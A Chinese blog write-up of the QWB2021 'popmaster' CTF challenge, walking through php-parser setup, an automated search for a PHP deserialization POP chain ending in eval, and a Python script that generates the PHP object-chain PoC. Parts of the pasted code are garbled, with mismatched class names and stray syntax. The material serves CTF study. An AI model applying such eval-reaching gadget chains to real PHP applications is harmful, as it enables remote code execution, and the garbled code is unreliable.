




[强网杯2021]XBUUCTF[QWB2021 Quals]popmaster复现记录

原创

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订阅专栏

给自动化代码审计的大佬跪了。

出题人写的WP在这里：[强网杯\[pop_master\]与\[陀那多\]赛题的出题记录](#)

复现可以到BUUCTF，启动[QWB2021 Quals]popmaster这道题就ok。

按大佬的解法，首先要安装php-parser,把题目的代码转换成抽象语法树，实际上这道题就是一个图的可达路径搜索问题。

这里在kali安装一波php-parser:

1. `wget https://getcomposer.org/installer`

```
tom@kali:~/下载/PHP-Parser$ wget https://getcomposer.org/installer
--2021-10-05 15:24:33-- https://getcomposer.org/installer
正在解析主机 getcomposer.org (getcomposer.org) ... 54.36.53.46, 2607:5300:201:2100::4:d105
正在连接 getcomposer.org (getcomposer.org)|54.36.53.46|:443 ... 已连接。
已发出 HTTP 请求，正在等待回应 ... 200 OK
长度：57721 (56K) [application/octet-stream]
正在保存至：“installer”

installer 100%[=====]

2021-10-05 15:24:35 (184 KB/s) - 已保存 “installer” [57721/57721]
```

2. `mv installer installer.php`

3. `php installer.php`

```
tom@kali:~/下载/PHP-Parser$ php installer.php
All settings correct for using Composer
Downloading ...

Composer (version 2.1.8) successfully installed to: /home/tom/下载/PHP-Parser/composer.phar
Use it: php composer.phar
```

出现这个说明前置要求的composer.phar安装成功，在当前目录下就会多出来一个叫composer.phar的东西

4. `php composer.phar require nikiic/php-parser`

```
tom@kali:~/下载$ php composer.phar require nikiic/php-parser
Using version ^4.13 for nikiic/php-parser
./composer.json has been created
Running composer update nikiic/php-parser
Loading composer repositories with package information
Updating dependencies
Lock file operations: 1 install, 0 updates, 0 removals
 - Locking nikiic/php-parser (v4.13.0)
Writing lock file
Installing dependencies from lock file (including require-dev)
Package operations: 1 install, 0 updates, 0 removals
 - Downloading nikiic/php-parser (v4.13.0)
 - Installing nikiic/php-parser (v4.13.0): Extracting archive
Generating autoload files
```

至此php-parser安装成功。

然后把大佬的EXP下下来，解压到当前目录中

然后将赛题中class.php的内容复制到本exp的code.php中。

然后将mian.php中的全局变量中的入口方法与入口参数名赋值

运行main.php:

```
tom@kali:~/下载/pop_master-master$ php main.php
find vul!!! the path is:
ZChdNQ====>dBIySo====>X0l7ws====>LyI1rT====>duxg5w====>D2VmWz====>w5pNI====>x5cL
ZMXmr====>xB56gm====>EfPQZq====>k1UgFG====>eval
tom@kali:~/下载/pop_master-master$
```

成功找到一条pop链。

```
ZChdNQ=====>dBIySo=====>X017ws=====>LyI1rT=====>duxg5w=====>D2VmlWz=====>w5pPNI=====>x5cLyL=====>Ga3P6G==  
=====>GVcxei=====>Y4BK4w=====>pYekV8=====>hsrB5s=====>kL7zby=====>HbQCtF=====>KXgmGS=====>BVZEev=====>Lut  
xdu=====>TZMXmr=====>xB56gm=====>EfPQZq=====>k1UgFG=====>eval
```

写了一段python代码来生成php的poc:

```

# -*- coding: utf-8 -*-
#本代码运行在python2.7下
import linecache
classphp = "C:/Users/root/Desktop/class.php.txt"
f = open(classphp) # 返回一个文件对象
line = f.readline()
linenum = 1
pop = "bqoNH6====>U3GR5Y====>yZ135Z====>PEmYsT====>xT0weR====>kdYRCK====>p9g5V9====>z2B2Yy====>z
yPbQC====>GUFeq1====>ZUMG5r====>H9G1mh====>XePAh8====>fpPqVg====>YNBwXQ====>tE6Eu5====>UhnEew===
====>pP2Nyq====>a2w5hk====>EYafpg====>Y1Eyz0====>l94Kwx====>eval"
poplist = pop.split("====>")
popstartindex = range(0,len(poplist)-1)
popendindex = range(0,len(poplist)-1)
while line:
    linenum+=1
    line = f.readline()
    for i in range(0,len(poplist)-1):
        if line.find(poplist[i])!=-1 and line.find("{")!=-1:
            for j in range(0,30):
                if linecache.getline(classphp, linenum-j).find("class") != -1 and linecache.getline(classphp, li
nenum-j).find("{")!=-1:
                    popstartindex[i] = linenum-j
                    break
            for j in range(0, 30):
                if linecache.getline(classphp, linenum + j).find("class") != -1 and linecache.getline(classphp,
linenum+j).find("{") != -1:
                    popendindex[i] = linenum + j
                    break
            continue
f.close()
#生成php的exp
print("<?php")
for i in range(0,len(poplist)-1):
    for j in range(popstartindex[i],popendindex[i]):
        print(linecache.getline(classphp,j).replace("\n",""))
for i in range(0,len(poplist)-1):
    for j in range(popstartindex[i], popendindex[i]):
        if(linecache.getline(classphp,j).find("class")!=-1 and linecache.getline(classphp,j).find("{")!=-1):
            s = linecache.getline(classphp,j)
            s = s.replace("{","()");
            s = s.replace("class","new")
            s = s.replace("\n", "")
            print "$a"+str(i)+" = "+s
for i in range(0,len(poplist)-1):
    if(i < len(poplist)-1):
        for j in range(popstartindex[i], popendindex[i]):
            if (linecache.getline(classphp, j).find("public $") != -1):
                s = linecache.getline(classphp, j).replace("public $", "")
                s = s.replace(";","")
                s = s.replace(" ", "")
                s = s.replace("\n", "")
                print("$a" + str(i) + "->" + s + "=" + "$a" + str(i + 1) + ";")
    else:
        print ("a"+str(i)+"->"+s+"=$_POST['cmd']")

```

得到poc:

```

<?php
class L7UHD6{
    public $nHD6mg;

```

```

    public $nHW0wmq,
    public function xbePUT($dV2ZO){
if(45016>39692){
    $dV2ZO = $dV2ZO.'wHmK0';
}
if(method_exists($this->nHW0wmq, 'mAbmf6')) $this->nHW0wmq->mAbmf6($dV2ZO);
if(method_exists($this->nHW0wmq, 'rcLD5G')) $this->nHW0wmq->rcLD5G($dV2ZO);

    }
    public function VTt0t1($gIpCX){
for($i = 0; $i < 26; $i ++){
    $au0wPm= $gIpCX;
}
if(method_exists($this->nHW0wmq, 'Vf56w8')) $this->nHW0wmq->Vf56w8($gIpCX);
if(method_exists($this->nHW0wmq, 'H71Z97')) $this->nHW0wmq->H71Z97($gIpCX);

    }
}

```

```

class YyaVmX{
    public $LBhGiW0;
    public function C7F7Xa($aAsyu){
$aAsyu='LbsMN';
eval($aAsyu);

    }
    public function mAbmf6($PTDrM){
for($i = 0; $i < 23; $i ++){
    $aFkirt= $PTDrM;
}
$this->LBhGiW0->BHGNSG($PTDrM);

    }
}

```

```

class FP1BKG{
    public $YV1W3IV;
    public function yKpHBF($VC23m){
for($i = 0; $i < 7; $i ++){
    $agyI1z= $VC23m;
}
if(method_exists($this->YV1W3IV, 'tumi00')) $this->YV1W3IV->tumi00($VC23m);
if(method_exists($this->YV1W3IV, 'gguM56')) $this->YV1W3IV->gguM56($VC23m);

    }
    public function BHGNSG($AGPDQ){
if(1366>45772){
    $AGPDQ = $AGPDQ.'XupC5';
}
$this->YV1W3IV->ITqWW2($AGPDQ);

    }
}

```

```

class kCZ5P4{
    public $SuxNbbP;
    public function lGVgt2($g7FMP){

```

```

for($i = 0; $i < 3; $i ++){
    $g7FMP= $sFwFD;
}
eval($g7FMP);

    }
    public function ITqWW2($yukip){
$this->UtURv = "X7Eg4";
$this->SuxNbbP->oMvqkv($yukip);

    }
}

class fhGDEo{
    public $c8Un3Pc;
    public function GGS2Tx($waoG6){
eval($waoG6);

    }
    public function oMvqkv($GeGy2){
$this->cM4xY = "xIS1c";
$this->c8Un3Pc->msMgDb($GeGy2);

    }
}

class qZgqTN{
    public $AanVLGe;
    public function msMgDb($hiIFc){
$this->r1ETt = "PxSDM";
if(method_exists($this->AanVLGe, 'hZChcd')) $this->AanVLGe->hZChcd($hiIFc);
if(method_exists($this->AanVLGe, 'v05w7c')) $this->AanVLGe->v05w7c($hiIFc);

    }
    public function dg8ecu($vkPSz){
for($i = 0; $i < 3; $i ++){
    $aZTyWy= $vkPSz;
}
$this->AanVLGe->CNnFdI($vkPSz);

    }
}

class XyhYtb{
    public $xEGEy7K;
    public function hZChcd($S5Kol){
$this->QlrMr = "UnRom";
if(method_exists($this->xEGEy7K, 'x8iwgk')) $this->xEGEy7K->x8iwgk($S5Kol);
if(method_exists($this->xEGEy7K, 'wkd2WW')) $this->xEGEy7K->wkd2WW($S5Kol);

    }
    public function WMTbwZ($ugsdY){
$this->N4yEy = "UvvrN";
eval($ugsdY);

    }
}

```

```

}

class suL25R{
    public $bz6H981;
    public function x8iwgk($QrGk8){
        $this->XnLoL = "Xwudp";
        if(method_exists($this->bz6H981, 'PcquZZ')) $this->bz6H981->PcquZZ($QrGk8);
        if(method_exists($this->bz6H981, 'sFGeyF')) $this->bz6H981->sFGeyF($QrGk8);

    }
    public function FWq41D($rqPwp){
        eval($rqPwp);
    }
}

class DLGUGZ{
    public $FwX8fKY;
    public function sFGeyF($XzG6P){
        for($i = 0; $i < 22; $i ++){
            $aiuTZa= $XzG6P;
        }
        $this->FwX8fKY->ti9Y1F($XzG6P);

    }
    public function dm4bGP($gqoRh){
        for($i = 0; $i < 0; $i ++){
            $aCumW9= $gqoRh;
        }
        if(method_exists($this->FwX8fKY, 'akEghP')) $this->FwX8fKY->akEghP($gqoRh);
        if(method_exists($this->FwX8fKY, 'bPN2Nx')) $this->FwX8fKY->bPN2Nx($gqoRh);

    }
}

class A5SQm0{
    public $sfVD9z1;
    public function ti9Y1F($wV3Ig){
        for($i = 0; $i < 1; $i ++){
            $aCHhiQ= $wV3Ig;
        }
        if(method_exists($this->sfVD9z1, 'tYwP6S')) $this->sfVD9z1->tYwP6S($wV3Ig);
        if(method_exists($this->sfVD9z1, 'kkWKI2')) $this->sfVD9z1->kkWKI2($wV3Ig);

    }
    public function EGYMsQ($sOzws){
        eval($sOzws);
    }
}

class HXf222{
    public $umxT6cV;
    public function kkWKI2($DpQYt){
        $this->bV86G = "qW8tN";
        if(method_exists($this->umxT6cV, 'RBXeSg')) $this->umxT6cV->RBXeSg($DpQYt);
    }
}

```

```

if(method_exists($this->umxT6cV, 'i0URs0')) $this->umxT6cV->i0URs0($DpQYt);

    }
    public function vdQx0o($XY7aa){
for($i = 0; $i < 21; $i ++){
    $XY7aa= $S19Kd;
}
if(method_exists($this->umxT6cV, 'VmSVuq')) $this->umxT6cV->VmSVuq($XY7aa);
if(method_exists($this->umxT6cV, 'GhFnwk')) $this->umxT6cV->GhFnwk($XY7aa);

    }
}

class gDnfK9{
    public $TxB0FdF;
    public function RBXeSg($bF4BC){
$this->H3vLG = "v2w10";
if(method_exists($this->TxB0FdF, 'zTkOnG')) $this->TxB0FdF->zTkOnG($bF4BC);
if(method_exists($this->TxB0FdF, 'G0ioTK')) $this->TxB0FdF->G0ioTK($bF4BC);

    }
    public function oplEGY($QGyHC){
$this->ypak3 = "HMUxr";
if(method_exists($this->TxB0FdF, 'mIrTr2')) $this->TxB0FdF->mIrTr2($QGyHC);
if(method_exists($this->TxB0FdF, 'EVAhi7')) $this->TxB0FdF->EVAhi7($QGyHC);

    }
}

class D8UAmt{
    public $izw1YVT;
    public function zTkOnG($vmaCD){
$this->qv4A9 = "wW7ee";
$this->izw1YVT->ODsdNW($vmaCD);

    }
    public function l6fzen($Iz4x1){
$this->iyZkT = "BwaGt";
$this->izw1YVT->dr6ybG($Iz4x1);

    }
}

class D8WX2Q{
    public $iiirsPe;
    public function ODsdNW($Rrp6q){
for($i = 0; $i < 26; $i ++){
    $a0WEiN= $Rrp6q;
}
if(method_exists($this->iiirsPe, 'tYWHFI')) $this->iiirsPe->tYWHFI($Rrp6q);
if(method_exists($this->iiirsPe, 'qtRRwg')) $this->iiirsPe->qtRRwg($Rrp6q);

    }
    public function khXStd($xx5AI){
for($i = 0; $i < 24; $i ++){
    $atgh0U= $xx5AI;
}
}
}

```



```

}
if(method_exists($this->iiirsPe, 'gCBRhG')) $this->iiirsPe->gCBRhG($xx5AI);
if(method_exists($this->iiirsPe, 'K9YqDl')) $this->iiirsPe->K9YqDl($xx5AI);

}
}

class EVAmyn{
    public $mUISnWb;
    public function yvGxsq($G9hkX){
        $this->ZR23N = "GvYES";
        if(method_exists($this->mUISnWb, 'ssR1IV')) $this->mUISnWb->ssR1IV($G9hkX);
        if(method_exists($this->mUISnWb, 'wFmoAx')) $this->mUISnWb->wFmoAx($G9hkX);

    }
    public function tYWHFI($yN6Eu){
        if(52033>2482){
            $yN6Eu = $yN6Eu.'SGu6E';
        }
        if(method_exists($this->mUISnWb, 'x43ZTL')) $this->mUISnWb->x43ZTL($yN6Eu);
        if(method_exists($this->mUISnWb, 'dQM19g')) $this->mUISnWb->dQM19g($yN6Eu);

    }
}

class cDuVyQ{
    public $VLDgIsu;
    public function x43ZTL($SHUc7){
        for($i = 0; $i < 30; $i ++){
            $asUMta= $SHUc7;
        }
        if(method_exists($this->VLDgIsu, 'ebiPNb')) $this->VLDgIsu->ebiPNb($SHUc7);
        if(method_exists($this->VLDgIsu, 'BGYfdR')) $this->VLDgIsu->BGYfdR($SHUc7);

    }
    public function IP5In0($0itLV){
        $0itLV='ui9fy';
        eval($0itLV);
    }
}

class vD3i0B{
    public $ga4GK57;
    public function uUiXD0($iuWYO){
        if(3909>32143){
            $iuWYO = $iuWYO.'FUVHe';
        }
        $this->ga4GK57->sW3R98($iuWYO);

    }
    public function ebiPNb($hwcNG){
        $this->pzzE8 = "H1x2G";
        $this->ga4GK57->gSBlTm($hwcNG);

    }
}

```

```

class N2Dy79{
    public $ReDc2ZH;
    public function gSB1Tm($gFNi2){
        $this->SSi7T = "Tmb28";
        if(method_exists($this->ReDc2ZH, 'ayZmI3')) $this->ReDc2ZH->ayZmI3($gFNi2);
        if(method_exists($this->ReDc2ZH, 'PdKLEU')) $this->ReDc2ZH->PdKLEU($gFNi2);

    }
    public function zpKlgI($l9lUk){
        $this->FDN9G = "wqgFa";
        if(method_exists($this->ReDc2ZH, 'tIYgva')) $this->ReDc2ZH->tIYgva($l9lUk);
        if(method_exists($this->ReDc2ZH, 'pH3TWQ')) $this->ReDc2ZH->pH3TWQ($l9lUk);

    }
}

```

```

class az2d5x{
    public $aaSROLe;
    public function ayZmI3($KVfRN){
        if(12818>22299){
            $KVfRN = $KVfRN.'xoTGc';
        }
        $this->aaSROLe->UUqav0($KVfRN);

    }
    public function tYRTEy($egmfS){
        for($i = 0; $i < 15; $i ++){
            $aQKoAF= $egmfS;
        }
        $this->aaSROLe->BnYLZl($egmfS);

    }
}

```

```

class d0UxDv{
    public $wkvASs6;
    public function SxOyYw($EgxFz){
        $this->KXDQF = "WP7QA";
        eval($EgxFz);

    }
    public function UUqav0($s1mew){
        if(52050>20186){
            $s1mew = $s1mew.'RgmkC';
        }
        $this->wkvASs6->TbGxG5($s1mew);

    }
}

```

```

class Hc1ckR{
    public $QI1LvKk;
    public function cLHWvn($eEipn){
        if(24817>22370){
            $eEipn = $eEipn.'cc1eG';
        }
        $this->QI1LvKk->PiLK0i($eEipn);
    }
}

```

```

    }
    public function TbGxG5($YcxIx){
for($i = 0; $i < 10; $i ++){
    $aTNhpa= $YcxIx;
}
$this->QIILvkk->F5UkVr($YcxIx);
    }
}
class gp2b2g{
    public $xv9AHCl;
    public function nOVnqx($lgspc){
$this->gggqP = "rMyHa";
$this->xv9AHCl->ACcxak($lgspc);

    }
    public function F5UkVr($h9lGB){
for($i = 0; $i < 36; $i ++){
    $aPITGf= $h9lGB;
}
$this->xv9AHCl->htVHuV($h9lGB);
    }
}
class 00xBSS{
    public $xt66a1Q;
    public function gwz5Lo($bhyKR){
if(30529>49808){
    $bhyKR = $bhyKR.'hTHz9';
}
$this->xt66a1Q->CH2bOt($bhyKR);
    }
    public function htVHuV($VpGQd){
if(63158>2952){
    $VpGQd = $VpGQd.'QkEie';
}
if(method_exists($this->xt66a1Q, 'C38qDA')) $this->xt66a1Q->C38qDA($VpGQd);
if(method_exists($this->xt66a1Q, 'a0YLHW')) $this->xt66a1Q->a0YLHW($VpGQd);

    }
}
class OseZYk{
    public $BWu6mc5;
    public function LtGuap($qrXpU){
eval($qrXpU);

    }
    public function C38qDA($xbly4){
if(20950>43181){
    $xbly4 = $xbly4.'nEdmR';
}
eval($xbly4);
    }
}
$a0 = new L7UHD6();
$a1 = new YyaVmX();
$a2 = new FP1BKG();
$a3 = new kCZ5P4();
$a4 = new fhGDEo();
$a5 = new qZgqTN();
$a6 = new XyhYtb();
$a7 = new suL25R();

```

```
$a8 = new DLGUGZ();
$a9 = new A5SQm0();
$a10 = new HXf222();
$a11 = new gDnfK9();
$a12 = new D8UAmt();
$a13 = new D8WX2Q();
$a14 = new EVAmyn();
$a15 = new cDuVyQ();
$a16 = new vD3i0B();
$a17 = new N2Dy79();
$a18 = new az2d5x();
$a19 = new d0UxDv();
$a20 = new Hc1ckR();
$a21 = new gp2b2g();
$a22 = new 00xB5s();
$a23 = new OseZYk();
$a0->nHW0wmq=$a1;
$a1->LBhGiW0=$a2;
$a2->YV1W3IV=$a3;
$a3->SuxNbbP=$a4;
$a4->c8Un3Pc=$a5;
$a5->AanVLGe=$a6;
$a6->xEGEy7K=$a7;
$a7->bz6H98l=$a8;
$a8->FwX8fKY=$a9;
$a9->sfVD9z1=$a10;
$a10->umxT6cV=$a11;
$a11->TxB0FdF=$a12;
$a12->izw1YVT=$a13;
$a13->iiirsPe=$a14;
$a14->mUISnWb=$a15;
$a15->VLDgIsu=$a16;
$a16->ga4GK57=$a17;
$a17->ReDc2ZH=$a18;
$a18->aaSROLe=$a19;
$a19->wkvASs6=$a20;
$a20->QILLvkK=$a21;
$a21->xv9AHC1=$a22;
$a22->xt66a1Q=$a23;
```

